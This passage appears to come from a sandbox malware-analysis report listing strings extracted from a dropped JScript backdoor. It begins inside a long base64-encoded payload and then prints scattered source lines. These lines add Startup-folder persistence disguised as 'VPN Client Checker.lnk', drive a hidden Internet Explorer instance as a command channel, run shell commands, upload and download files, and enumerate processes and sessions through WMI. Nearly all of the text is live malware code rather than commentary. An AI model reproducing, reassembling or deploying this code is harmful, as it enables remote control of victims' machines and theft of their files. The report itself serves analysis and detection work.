NtOWoiOw0KCQltb2NrRGxsNjQgKz0gIlpYTnpUV1Z0YjNKNUFHa0FRM0psWVhSbFVISnZZMlZ6YzBFQUFHUURWR1Z5YldsdVlYUmxVSEp2WTJWemN3QUFzUUpTWldGa1JtbHNaUUFBb2dGSFpYUlFjbTlqUVdSa2NtVnoiOw0KCQltb2NrRGxsNjQgKz0gImN3QUFod05XYVhKMGRXRnNRV3hzYjJNQUFJZ0RWbWx5ZEhWaGJFRnNiRzlqUlhnQUFKNEJSMlYwVUhKcGRtRjBaVkJ5YjJacGJHVlRkSEpwYm1kQkFBQ1VBbEJ5YjJObGMzTXoiOw0KCQltb2NrRGxsNjQgKz0gIk1rNWxlSFFBcHdGSFpYUlFjbTlqWlhOelNXUUFBSDhCUjJWMFRXOWtkV3hsUm1sc1pVNWhiV1ZCQUFDQkFVZGxkRTF2WkhWc1pVaGhibVJzWlVFQUFIUUFRM0psWVhSbFZHOXYiOw0KCQltb2NrRGxsNjQgKz0gImJHaGxiSEF6TWxOdVlYQnphRzkwQUFBMkFFTnNiM05sU0dGdVpHeGxBTE1EVjNKcGRHVlFjbTlqWlhOelRXVnRiM0o1QUFET0FsSmxjM1Z0WlZSb2NtVmhaQUFBaGdCRVpXeGwiOw0KCQltb2NrRGxsNjQgKz0gImRHVkdhV3hsUVFCTFJWSk9SVXd6TWk1a2JHd0FBTDhDYzNCeWFXNTBaZ0J0YzNaamNuUXVaR3hzQUFEMEFGOXBibWwwZEdWeWJRQmtBbVp5WldVQUFKa0NiV0ZzYkc5akFBQmMiOw0KCQltb2NrRGxsNjQgKz0gIkExTnNaV1Z3QUt3QlgzTjBjbWxqYlhBQUFLRUNiV1Z0YzJWMEFBQUFBQUFBQUFBQUFFcyt1bE1BQUFBQTRpWUFBQUVBQUFBQkFBQUFBUUFBQU5nbUFBRGNKZ0FBNENZQUFMQVYiOw0KCQltb2NrRGxsNjQgKz0gIkFBRDBKZ0FBQUFCdGIyTnJYM0oxYmpKZmVEWTBMbVJzYkFCRWJHeFNaV2RwYzNSbGNsTmxjblpsY2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFQa1EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0FJZ0FBQUJFQUFMTVJBQUJ3SWdBQXdCRUFBQmNTQUFCVUlnQUFGeElBQUlRVkFBQkFJZ0FBaEJVQUFLQVZBQUF3SWdBQXNCVUFBRjRYQUFDMElnQUFYaGNBQUdrWUFBQ2ciOw0KCQltb2NrRGxsNjQgKz0gIklnQUFhUmdBQUlRWUFBQ1FJZ0FBa0JnQUFHd1pBQUQ0SVFBQWNCa0FBT0FhQUFBQUlnQUE4Qm9BQUY0YkFBQVlJZ0FBZ0JzQUFNNGJBQURJSWdBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQT0iOw0KCQl0aGlzLkJhc2U2NF9Nb2NrRGxsNjQgPSBtb2NrRGxsNjQ7DQoJfSwNCglmaXJlOmZ1bmN0aW9uKCl7DQoJCXdpdGgob3J6KXsNCgkJCWluaXRCYXNlKCk7DQoJCQlkb3sNCgkJCQl0cnl7bWFpbigpO31jYXRjaChlcnIpe2VyckxvZyhlcnIpO30NCgkJCQl0cnl7aWYob0lFKW9JRS5RdWl0KCk7fWNhdGNoKGUpe30NCgkJCQlXU2NyaXB0LlNsZWVwKHJldHJ5SW50ZXJ2YWwpOw0KCQkJfXdoaWxlKGJGb3JldmVyVHJ5IHx8IHJldHJ5VGltZS0tKTsNCgkJfQ0KCX0NCn07DQpvcnouZmlyZSgpOw==';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
return out
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\Documents and Settings\\'+UserName+'\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
SysDrive + ':\\Users\\'+UserName+'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
try{eval(clsCode);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var AppData = oWS.ExpandEnvironmentStrings("%APPDATA%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var base64DecodeChars = new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var c1, c2, c3, c4;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var i, len, out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var JSPath = tempDir+'\\'+randName+'.tmp';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var link = oWS.CreateShortcut(stDirs[i] + '\\VPN Client Checker.lnk');
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var oFile = oFS.CreateTextFile(JSPath, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var stDirs = [SysDrive + ':\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var SysDrive = AppData.charAt(0);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var tempDir = oWS.ExpandEnvironmentStrings("%temp%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var UserName = oWS.ExpandEnvironmentStrings("%USERNAME%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
while (i < len)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
WScript.Sleep(1000);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c1 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c2 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c3 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c4 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch (b){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch (g){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch(x){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
+ '\ndownSize=' + fileSize + '\nDownReq Recved!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
+ '\nupOnce=' + this.upOnce + '\nupCount=' +this.upCount + '\nUpReq Recved!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
++this.downIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
++this.upIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/************* Basic *************/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/******************** Func ********************/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/*NOSleep*/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_keyStr : "01234abcdefghijklmnopqrstuvwxyz56789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/" + "=",
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_pTree:function(pid, level){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_utf8_decode : function (utftext) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_utf8_encode : function (string) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
acc = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
accessToWrite = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Open();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Position = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.SaveToFile(path, adSaveCreateOverwrite);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Type = adTypeBinary;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Write(bin);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
adoCon : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
adoRec : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
allStartupDir : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
argArr = data.split(this.splitChar);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bander = banderList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
banderList = ['Name','ProcessId','SessionId','commandline'];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Base64_MockDll32 : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Base64_MockDll64 : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
base64ToFile:function(path, bin){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bDebug : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bDeleteSelf : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bFirstTry : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bForeverTry : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bin = node.nodeTypedValue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bMutex : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c = utftext.charCodeAt(i);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c2 = utftext.charCodeAt(i+1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c3 = utftext.charCodeAt(i+2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseCode:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseDownFile:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseExecCmd:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseUpFile:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseCode : 'ccc',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseDownFile : 'ddd',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseDownFileData : 'ddt',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseExecCmd : 'xxx',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseHandler:function(recvData){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseReauth : 'reauth',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseStr = tmp.substring(0, 3).toLowerCase();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseUpFile : 'uuu',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr1 = (enc1 << 2) | (enc2 >> 4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr1 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr2 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr3 = ((enc3 & 3) << 6) | enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr3 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
codeRegex : /hd=87ds(.*?)=ddfhk/,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
codeRes = this.codeRegex.exec(workIE.Document.documentElement.outerHTML);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
comment = info[0]+' '+info[2];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
continue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
count = Math.floor(fileSize/this.downOnce) + (fileSize%this.downOnce==0 ? 0 : 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
createIE:function(url){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
data = tmp.substring(3);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
decode : function (input) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
default:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
delete ado;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
delete node;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
delete xml;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
df = this.oFS.OpenTextFile(dfPath, ForReading);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
df.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dfPath = this.tmpDir + '\\' + f.Name + '~' + this.downIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dirs : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
down.innerText = this.encode(this.caseDownFileData + downData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downBtn.click();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downCount : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downData = df.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downEnd : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downFile : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downIndex : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downInterval : 5,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downOk : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downOnce : 1024 * 200,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downSize : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downStart : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
drive:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dstUrl : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery("Select * from Win32_Processor"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery('Select * From Win32_Session'));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery(queryStr));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e.item().Terminate();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = banderList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = proc.Properties_.item(banderList[j]) + ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc1 = chr1 >> 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc1 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc2 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = enc4 = 64;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = 64;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = chr3 & 63;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
encode : function (input) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errLog:function(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errLogFilePath : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errObjToStr:function(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
exec:function(cmdline, timeout){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
execWithCScript:function(cmd, sec){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = fso.OpenTextFile(this.errLogFilePath, 8, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.GetFile(path);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.GetFile(this.downFile);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.OpenTextFile(outFilePath, 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.OpenTextFile(scriptFilePath, 2, 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("F=(new ActiveXObject('Scripting.FileSystemObject')).OpenTextFile(unescape('"+escape(outFilePath)+"'),2,1);");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("O=W.Exec(unescape('"+escape(cmd)+"'));F.Write(O.StdOut.ReadAll()+O.StdErr.ReadAll());F.Close();");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("W=new ActiveXObject('WScript.Shell');");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.WriteLine(this.now()+':'+text);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
filePath = data;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
fileSize = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
fire:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for (i=0; i<sec*10; i++){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for (var n = 0; n < string.length; n++) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(;;){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(e.moveFirst(); !e.atEnd(); e.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(e.moveFirst();!e.atEnd();e.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i = 0; i < oDrives.length; i += 2) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i = 0; i < oPrinters.length; i += 2) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i in banderList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i in procList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0; i<len; i++){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<3;++i){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<arr.length;++i){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<level;++i){res += '\t'}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(j in banderList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(j in procList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(pe.moveFirst(); !pe.atEnd(); pe.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in lines){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in obj){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in this.jmpUrlList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ForAppending = 8;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ForReading = 1;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ForWriting = 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
freshIE:function(ie){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
fso = new ActiveXObject('Scripting.FileSystemObject');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
getAllUserSid:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
getConfig:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
getOSBit:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
i += 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
i += 3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
id : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
idleSecondBeforeFresh : 60*30,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
idleThisTime = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
idleTimes = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie = new ActiveXObject('InternetExplorer.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Navigate(url, navNoHistory, "_self");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Refresh2(REFRESH_COMPLETELY);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Silent = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Visible = this.bDebug;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (!this.pExists(pid)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (c < 128) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (enc3 != 64) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (enc4 != 64) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (isNaN(chr2)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (outParams.ReturnValue == 0)
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (parseInt(minute) < 10){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (parseInt(seconds) < 10){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!lines[i].length)continue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!loginForm || !username || !password || !valicode || !submit){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!oExec.StdErr.AtEndOfStream)res+=oExec.StdErr.readAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!oExec.StdOut.AtEndOfStream)res+=oExec.StdOut.readAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!snd || !rcv || !down || !downBtn || !up || !upIdx)break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!this.upOk){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(++i==9999)i=0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(accessToWrite){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(argArr.length==2){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(arr[i].toLowerCase()==item.toLowerCase())break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(codeRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(cookie && cookie.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(count>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(data && data.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(drv.IsReady){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i%(this.downInterval*2)==0 && down.innerText.length==0 && this.downIndex<this.downCount && this.oFS.FileExists(this.downFile)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i%(this.upInterval*2)==0 && upData.length>0 && this.upIndex<this.upCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i<banderList.length-1)for(j=ele.length;j<maxLenList[i];++j)res+=splitChar;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(idleThisTime){++idleTimes;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(idleTimes/2==this.idleSecondBeforeFresh){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(j<banderList.length-1)for(k=ele.length;k<maxLenList[j];++k)res+=splitChar;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(jmpRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(len>maxLen)maxLen=len;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(method && method.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(mock==null)mock='regsvr32';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(oExec.status==WshFinished)break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(oExec.status==WshRunning){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(ok){break;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(property.Value!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(proxy && proxy.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(putRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(query!=null && !this.inArray(queryArray,property.Name)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(query!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut<1)WScript.Sleep(1000);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut>0)iniFile.WriteLine('time=' + realTimeOut);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut>0)try{this.oFS.DeleteFile(mockOutPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData.length>3){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData==this.caseReauth){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(show)realShow = show;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bDebug){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bDeleteSelf){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bMutex){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.downIndex==this.downCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.dstUrl==''){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.initCode!=''){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.osBit=='32'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.upIndex==this.upCount){
